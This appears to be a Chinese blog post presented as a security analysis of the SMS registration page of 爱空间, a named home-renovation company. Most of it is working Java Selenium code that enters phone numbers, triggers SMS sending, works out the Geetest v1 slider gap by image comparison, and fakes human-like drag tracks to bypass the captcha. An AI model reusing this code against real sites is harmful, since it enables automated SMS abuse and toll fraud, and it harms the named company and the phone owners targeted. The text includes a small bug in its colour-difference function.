【爱空间_登录安全分析报告】

前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

  1. 暴力破解密码，造成用户信息泄露
  2. 短信盗刷的安全问题，影响业务及导致用户投诉
  3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 爱空间 PC 注册入口

简介：爱空间，2014年创立， [1]在中国大陆地区的14个主要城市设有分公司及家装体验馆，员工规模近7,000人。 [57]爱空间致力于通过科技创新，建设以“供应链、信息化系统、产业化工人”三大基础设施为支柱的标准化一站式整体家装解决方案。先后获得顺为资本、国美资本数亿元投资，通过让消费者安全放心的儿童级环保标准、33天准时完工的品效合一、100%直管施工团队等颠覆性创新模式，成为家装行业口碑最好的企业之一。 [47]2020年提出“让爱有空间，让空间有爱”的全新企业使命。

在这里插入图片描述

二、 安全性分析报告：

采用极验的 V1版本（knob），容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。
在这里插入图片描述

三、 测试方法：

前端界面分析， 采用的是极验1.0 ，最早的一个版本， 最大特点就是将图片做分割后，在前端再做合并，这就好办了， 网上有大量现成的逆向文章及视频参考，不过我们这次不用逆向， 只是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分。

在这里插入图片描述

  1. 模拟器交互部分

public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			driver.get(smsUrl);
			// 输入手机号
			WebElement phoneInput = driver.findElement(By.name("mobile"));
			phoneInput.clear();
			for (int i = 0, l = phone.length(); i < l; i++) {
				phoneInput.sendKeys(String.valueOf(phone.charAt(i)));
				phoneInput.click();
			}
			Thread.sleep(500);

			// 点击发送验证码
			WebElement sendBtn = GeeSplitApi.waitForLoad(driver, By.className("sendSMS"), 5);
			sendBtn.click();

			geetApi.gtSliderKnob(driver, 0);
			return null;
		} catch (Exception e) {
			System.out.println(e.toString());
			return null;
		}
	}
  1. 获取滑动图片及调用移动交互

public boolean gtSliderKnob(WebDriver driver, Integer offSet) {
		try {
			// 获取滑动按钮
			By moveBy = By.cssSelector("[class='gt_slider_knob gt_show']");
			GeetSplitApi.waitForLoad(driver, moveBy);
			WebElement moveElement = driver.findElement(moveBy);
			int i = 0;
			String gtInfo;
			while (i++ < 3) {
				try {
					// 获取滑动距离
					int distance = GeetSplitApi.getMoveDistance(driver);
					if (distance == 0) {
						gtInfo = "get distance err";
						continue;
					}
					// 滑动
					if (offSet != null)
						ActionMove.move(driver, moveElement, distance - offSet);
					else
						ActionMove.move(driver, moveElement, distance);
					// 滑动结果
					Thread.sleep(2 * 1000);
					By gtInfoBy = By.className("gt_info_content");
					gtInfo = driver.findElement(gtInfoBy).getAttribute("innerHTML");
					System.out.println();
					if (gtInfo.isEmpty() || gtInfo.contains("速度超过")) {
						return true;
					} else if (gtInfo.contains("出现错误")) {
						gtInfo = "no success,try time=" + 3;
						continue;
					}
				} catch (Exception e) {
					continue;
				}
			}
			return false;
		} catch (Exception e) {
			System.out.println("getAndMove() " + e.toString());
			logger.error(e.toString());
			return false;
		}
	}

2. 距离识别

/**
	 * 计算需要平移的距离
	 * 
	 * @param fullImgPath
	 *            完整背景图片文件名
	 * @param bgImgPath含有缺口背景图片文件名
	 * @return
	 * @throws IOException
	 */
	public static int getMoveDistance(String fullImgPath, String bgImgPath) {
		System.out.println("fullImgPath=" + fullImgPath);
		File fullFile = new File(fullImgPath);
		File bgFile = new File(bgImgPath);
		boolean fullExists = fullFile.exists();
		boolean bgExists = bgFile.exists();
		if (fullExists && bgExists) {
			String abPath = bgFile.getAbsolutePath();
			int l = abPath.lastIndexOf(".");
			String out = abPath.substring(0, l) + "-o" + abPath.substring(l);
			return getComareImg(fullFile, bgFile, out);
		} else {
			System.out.println("fullExists(" + fullImgPath + ")=" + fullExists + "\nbgExists(" + bgImgPath + ")=" + bgExists);
			return -1;
		}
	}

/**
	 * 计算需要平移的距离
	 * 
	 * @param driver
	 * @param fullImgPath完整背景图片文件名
	 * @param bgImgPath含有缺口背景图片文件名
	 * @return
	 * @throws IOException
	 */
	private static int getComareImg(Object fullObj, Object bgObj, String out) {
		System.out.println("getComareImg() begin");
		try {
			if (fullObj == null || bgObj == null) {
				return -1;
			}
			BufferedImage fullBI = (fullObj instanceof File) ? ImageIO.read((File) fullObj) : ImageIO.read((ByteArrayInputStream) fullObj);
			BufferedImage bgBI = (bgObj instanceof File) ? ImageIO.read((File) bgObj) : ImageIO.read((ByteArrayInputStream) bgObj);
			List<Integer> list;
			Color ca, cb;
			Map<Integer, List<Integer>> xMap = new TreeMap<Integer, List<Integer>>();
			// 将头35列的最大不同值取出， 作为右边图像的基础差
			Long tifTotl = 0L;
			int tifLeft = 0;
			int tifCount = 0;
			for (int i = 0; i < bgBI.getWidth(); i++) {
				for (int j = 0; j < bgBI.getHeight(); j++) {
					ca = new Color(fullBI.getRGB(i, j));
					cb = new Color(bgBI.getRGB(i, j));
					int diff = diff(ca, cb);
					if (i <= 35 && tifLeft < diff) {
						tifLeft = (diff >= 255) ? 255 : diff;
					} else if (diff > tifLeft) {
						tifTotl += diff;
						tifCount++;
					}
				}
			}

			Long tifAvg = (tifCount > 0) ? (tifTotl / tifCount) : 0L;
			if (tifLeft <= 0 && tifAvg >= 2) {
				tifAvg = tifAvg / 2;
			}
			for (int i = 35; i < bgBI.getWidth(); i++) {
				for (int j = 0; j < bgBI.getHeight(); j++) {
					ca = new Color(fullBI.getRGB(i, j));
					cb = new Color(bgBI.getRGB(i, j));
					int diff = diff(ca, cb);
					if (diff >= tifAvg) {
						list = xMap.get(i);
						if (list == null) {
							list = new ArrayList<Integer>();
							xMap.put(i, list);
						}
						list.add(j);
						xMap.put(i, list);
					}
				}
			}
			System.out.println("  |--tifLeft=" + tifLeft + ",tifTotl=" + tifTotl + ",tifCount=" + tifCount + ",tifAvg=" + tifAvg + ",xMap.size=" + xMap.size());

			int minX = 0;
			int maxX = 0;
			for (Integer x : xMap.keySet()) {
				list = xMap.get(x);
				minX = (minX == 0) ? x : minX;
				maxX = x;
				for (int y : list) {
					cb = new Color(bgBI.getRGB(x, y));
					int gray = (int) (0.3 * cb.getRed() + 0.59 * cb.getGreen() + 0.11 * cb.getBlue());
					bgBI.setRGB(x, y, gray);
				}
			}

			// 标记直线位置
			for (int y = 0; y < bgBI.getHeight(); y++) {
				bgBI.setRGB(minX, y, Color.red.getRGB());
			}
			int width = maxX - minX;
			File destFile = new File(out);
			Thumbnails.of(bgBI).scale(1f).toFile(destFile);
			System.out.println("  |---xMap.size=" + xMap.size() + " minX=" + minX + ",maxX=" + maxX + ",width=" + width);
			return minX;
		} catch (Exception e) {
			System.out.println(e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				System.out.println(elment.toString());
			}
			logger.error("getMoveDistance() err = " + e.toString());
			return 0;
		}
	}

	private static int diff(Color ca, Color cb) {
		int d = Math.abs(ca.getRed() - cb.getRed()) + Math.abs(ca.getGreen() - cb.getGreen()) + Math.abs(ca.getBlue() - ca.getBlue());
		return d;
	}

3. 轨道生成及移动算法

/**
	 * 双轴轨道生成算法，主要实现平滑加速和减速
	 * 
	 * @param distance
	 * @return
	 */
	public static List<Integer[]> getXyTrack(int distance) {
		List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
		try {
			int a = (int) (distance / 3.0) + random.nextInt(10);
			int h = 0, current = 0;// 已经移动的距离
			BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
			BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
			BigDecimal move = null;// 每次循环移动的距离
			List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
			boolean plus = true;
			Double t = 0.18, v = 0.00, v0;
			while (current <= distance) {
				h = random.nextInt(2);
				if (current > distance / 2) {
					h = h * -1;
				}
				v0 = v;
				v = v0 + a * t;
				move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
				if (move.intValue() < 1)
					move = new BigDecimal(1L);
				if (plus) {
					track.add(new Integer[] { move.intValue(), h });
				} else {
					subList.add(0, new Integer[] { move.intValue(), h });
				}
				current += move.intValue();
				if (plus && current >= mid.intValue()) {
					plus = false;
					move = new BigDecimal(0L);
					v = 0.00;
				}
			}
			track.addAll(subList);
			int bk = current - distance;
			if (bk > 0) {
				for (int i = 0; i < bk; i++) {
					track.add(new Integer[] { -1, h });
				}
			}
			System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
			return track;
		} catch (Exception e) {
			System.out.print(e.toString());
			return null;
		}
	}

/**
	 * 模拟人工移动
	 * 
	 * @param driver
	 * @param element页面滑块
	 * @param distance需要移动距离
	 * @throws InterruptedException
	 */
	public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
		List<Integer[]> track = getXyTrack(distance);
		if (track == null || track.size() < 1) {
			System.out.println("move() track=" + track);
		}
		int moveY, moveX;
		StringBuffer sb = new StringBuffer();
		try {
			Actions actions = new Actions(driver);
			actions.clickAndHold(element).perform();
			Thread.sleep(20);
			long begin, cost;
			Integer[] move;
			int sum = 0;
			for (int i = 0; i < track.size(); i++) {
				begin = System.currentTimeMillis();
				move = track.get(i);
				moveX = move[0];
				sum += moveX;
				moveY = move[1];
				if (moveX < 0) {
					if (sb.length() > 0) {
						sb.append(",");
					}
					sb.append(moveX);
				}
				actions.moveByOffset(moveX, moveY).perform();
				cost = System.currentTimeMillis() - begin;
				if (cost < 3) {
					Thread.sleep(3 - cost);
				}
			}
			if (sb.length() > 0) {
				System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
			}
			Thread.sleep(180);
			actions.release(element).perform();
			Thread.sleep(500);
		} catch (Exception e) {
			StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace())
				er.append(elment.toString() + "\n");
			logger.error(er.toString());
			System.out.println(er.toString());
		}
	}
  1. 图片比对结果测试样例：
    在这里插入图片描述

四丶结语

爱空间作为房屋装修行业的巨头， 采用的是通俗的滑动验证产品， 在一定程度上提高了用户体验， 不过随着图形识别技术及机器学习能力的提升，所以在网上破解的文章和教学视频也是大量存在，并且经过验证的确有效， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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